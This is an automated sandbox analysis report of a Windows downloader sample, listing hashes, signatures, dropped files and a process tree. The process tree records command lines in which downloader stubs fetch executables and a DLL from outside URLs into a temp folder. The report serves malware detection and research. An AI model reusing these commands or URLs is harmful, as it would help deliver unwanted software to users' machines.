5a5891b89e3d761b1768e3a87cda19cab270a34c6ce1ab24293f7f835ae7a078

Analysis

max time kernel
150s
max time network
150s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
25/12/2023, 17:11

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General

Target

2fe7f11c33be507b7d1f3ef1601965b1.exe
Size

492KB
MD5

2fe7f11c33be507b7d1f3ef1601965b1
SHA1

d9eaef2ffc95991c2dabdc8921134577319cb664
SHA256

5a5891b89e3d761b1768e3a87cda19cab270a34c6ce1ab24293f7f835ae7a078
SHA512

29478b94c4c656950a5c4b50900350a926d19bf28d98c44eb4bc6a28c04b33f9a49aa4c1a88c7513e63e9b470a5291d4e04db0b0f1df53ca3da26166c33a554c
SSDEEP

6144:iuk4fqjzoQqF6jtY03ZgLpp6TURimpBwXVUTL7E97IkXQxBRUoz0JehYvH7Aw0vr:Y4fwy6peEUBwXVwM9vylzdYvH7AwC

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 6 IoCs

pid	Process
2728	downloaderSTUB.exe
3020	downloaderSTUB.exe
3052	downloaderSTUB.exe
2144	downloaderDDLR.exe
2268	downloaderOFFER0.exe
2636	preinstaller.exe

Loads dropped DLL 33 IoCs

pid	Process
2340	2fe7f11c33be507b7d1f3ef1601965b1.exe
2340	2fe7f11c33be507b7d1f3ef1601965b1.exe
2340	2fe7f11c33be507b7d1f3ef1601965b1.exe
2340	2fe7f11c33be507b7d1f3ef1601965b1.exe
2340	2fe7f11c33be507b7d1f3ef1601965b1.exe
2340	2fe7f11c33be507b7d1f3ef1601965b1.exe
2728	downloaderSTUB.exe
3020	downloaderSTUB.exe
3052	downloaderSTUB.exe
2144	downloaderDDLR.exe
2268	downloaderOFFER0.exe
2728	downloaderSTUB.exe
3052	downloaderSTUB.exe
3020	downloaderSTUB.exe
2144	downloaderDDLR.exe
2268	downloaderOFFER0.exe
2728	downloaderSTUB.exe
3020	downloaderSTUB.exe
3052	downloaderSTUB.exe
2144	downloaderDDLR.exe
2268	downloaderOFFER0.exe
2144	downloaderDDLR.exe
2728	downloaderSTUB.exe
3052	downloaderSTUB.exe
3020	downloaderSTUB.exe
2268	downloaderOFFER0.exe
2144	downloaderDDLR.exe
2728	downloaderSTUB.exe
3052	downloaderSTUB.exe
3020	downloaderSTUB.exe
2268	downloaderOFFER0.exe
3052	downloaderSTUB.exe
3020	downloaderSTUB.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 4 IoCs

installer

resource	yara_rule
behavioral1/files/0x0009000000016ca5-10.dat	nsis_installer_1
behavioral1/files/0x0009000000016ca5-10.dat	nsis_installer_2
behavioral1/files/0x0009000000016ca5-9.dat	nsis_installer_1
behavioral1/files/0x0009000000016ca5-9.dat	nsis_installer_2

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 2340 wrote to memory of 2728	2340	2fe7f11c33be507b7d1f3ef1601965b1.exe	22
PID 2340 wrote to memory of 2728	2340	2fe7f11c33be507b7d1f3ef1601965b1.exe	22
PID 2340 wrote to memory of 2728	2340	2fe7f11c33be507b7d1f3ef1601965b1.exe	22
PID 2340 wrote to memory of 2728	2340	2fe7f11c33be507b7d1f3ef1601965b1.exe	22
PID 2340 wrote to memory of 3020	2340	2fe7f11c33be507b7d1f3ef1601965b1.exe	21
PID 2340 wrote to memory of 3020	2340	2fe7f11c33be507b7d1f3ef1601965b1.exe	21
PID 2340 wrote to memory of 3020	2340	2fe7f11c33be507b7d1f3ef1601965b1.exe	21
PID 2340 wrote to memory of 3020	2340	2fe7f11c33be507b7d1f3ef1601965b1.exe	21
PID 2340 wrote to memory of 3052	2340	2fe7f11c33be507b7d1f3ef1601965b1.exe	20
PID 2340 wrote to memory of 3052	2340	2fe7f11c33be507b7d1f3ef1601965b1.exe	20
PID 2340 wrote to memory of 3052	2340	2fe7f11c33be507b7d1f3ef1601965b1.exe	20
PID 2340 wrote to memory of 3052	2340	2fe7f11c33be507b7d1f3ef1601965b1.exe	20
PID 2340 wrote to memory of 2144	2340	2fe7f11c33be507b7d1f3ef1601965b1.exe	19
PID 2340 wrote to memory of 2144	2340	2fe7f11c33be507b7d1f3ef1601965b1.exe	19
PID 2340 wrote to memory of 2144	2340	2fe7f11c33be507b7d1f3ef1601965b1.exe	19
PID 2340 wrote to memory of 2144	2340	2fe7f11c33be507b7d1f3ef1601965b1.exe	19
PID 2340 wrote to memory of 2268	2340	2fe7f11c33be507b7d1f3ef1601965b1.exe	18
PID 2340 wrote to memory of 2268	2340	2fe7f11c33be507b7d1f3ef1601965b1.exe	18
PID 2340 wrote to memory of 2268	2340	2fe7f11c33be507b7d1f3ef1601965b1.exe	18
PID 2340 wrote to memory of 2268	2340	2fe7f11c33be507b7d1f3ef1601965b1.exe	18
PID 2340 wrote to memory of 2636	2340	2fe7f11c33be507b7d1f3ef1601965b1.exe	17
PID 2340 wrote to memory of 2636	2340	2fe7f11c33be507b7d1f3ef1601965b1.exe	17
PID 2340 wrote to memory of 2636	2340	2fe7f11c33be507b7d1f3ef1601965b1.exe	17
PID 2340 wrote to memory of 2636	2340	2fe7f11c33be507b7d1f3ef1601965b1.exe	17
PID 2340 wrote to memory of 2636	2340	2fe7f11c33be507b7d1f3ef1601965b1.exe	17
PID 2340 wrote to memory of 2636	2340	2fe7f11c33be507b7d1f3ef1601965b1.exe	17
PID 2340 wrote to memory of 2636	2340	2fe7f11c33be507b7d1f3ef1601965b1.exe	17

C:\Users\Admin\AppData\Local\Temp\2fe7f11c33be507b7d1f3ef1601965b1.exe
"C:\Users\Admin\AppData\Local\Temp\2fe7f11c33be507b7d1f3ef1601965b1.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2340
- C:\Users\Admin\AppData\Local\Temp\170f5288060df95f9ac45d7012f75551\preinstaller.exe
  C:\Users\Admin\AppData\Local\Temp\170f5288060df95f9ac45d7012f75551\preinstaller.exe 0 "Pretty little liars s02e02 the goodbye look hdtv xvid-fqm [eztv]" "Download"
  2⤵
  - Executes dropped EXE
  PID:2636
- C:\Users\Admin\AppData\Local\Temp\170f5288060df95f9ac45d7012f75551\downloaderOFFER0.exe
  C:\Users\Admin\AppData\Local\Temp\170f5288060df95f9ac45d7012f75551\downloaderOFFER0.exe /U "http://www.directdownloader.com/toolbars/optimizer.exe" /D "C:\Users\Admin\AppData\Local\Temp\170f5288060df95f9ac45d7012f75551\optimizer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2268
- C:\Users\Admin\AppData\Local\Temp\170f5288060df95f9ac45d7012f75551\downloaderDDLR.exe
  C:\Users\Admin\AppData\Local\Temp\170f5288060df95f9ac45d7012f75551\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\170f5288060df95f9ac45d7012f75551\DirectDownloaderInstaller.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2144
- C:\Users\Admin\AppData\Local\Temp\170f5288060df95f9ac45d7012f75551\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\170f5288060df95f9ac45d7012f75551\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\170f5288060df95f9ac45d7012f75551\updater.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:3052
- C:\Users\Admin\AppData\Local\Temp\170f5288060df95f9ac45d7012f75551\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\170f5288060df95f9ac45d7012f75551\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\170f5288060df95f9ac45d7012f75551\OpenCL.dll"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:3020
- C:\Users\Admin\AppData\Local\Temp\170f5288060df95f9ac45d7012f75551\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\170f5288060df95f9ac45d7012f75551\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\170f5288060df95f9ac45d7012f75551\stub.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2728

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\170f5288060df95f9ac45d7012f75551\downloaderSTUB.exe

Filesize
58KB

MD5
c7f6ed56312c8fbb58ae6ed445c38df4

SHA1
e2dba94ef052db774478b9f7198c1a2298b334e5

SHA256
fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

SHA512
ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

Download Submit
\Users\Admin\AppData\Local\Temp\nso1BEB.tmp\NSISdl.dll

Filesize
14KB

MD5
a5f8399a743ab7f9c88c645c35b1ebb5

SHA1
168f3c158913b0367bf79fa413357fbe97018191

SHA256
dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

SHA512
824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

Download Submit
memory/2340-58-0x0000000000400000-0x0000000000444000-memory.dmp

Filesize
272KB

Download
memory/2636-59-0x0000000000400000-0x000000000043F000-memory.dmp

Filesize
252KB

Download